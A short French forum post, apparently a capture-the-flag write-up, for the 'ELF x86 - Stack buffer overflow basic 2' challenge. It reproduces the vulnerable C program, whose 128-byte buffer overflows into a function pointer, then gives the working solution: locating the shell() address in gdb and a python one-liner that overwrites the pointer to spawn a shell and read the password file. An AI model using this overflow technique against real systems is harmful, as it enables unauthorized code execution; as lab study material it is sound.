ELF x86 - Stack buffer overflow basic 2
Code Source
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void shell() {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
void main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}J’ai étudier les solutions proposé mais il est difficile pour moi de les comprendre.
En ce qui me concerne :
gdb ./ch15
info funcje regarde l’adresse de la function shell a la ligne :
0x08048516 shellpuis je balance mon appel en prenant soin de respecter le sens de chargement de la mémoire soit
((python -c "print 'A'*128+'\x16\x85\x04\x08'") ; cat) | ./ch15et on est dans le shell
cat passwd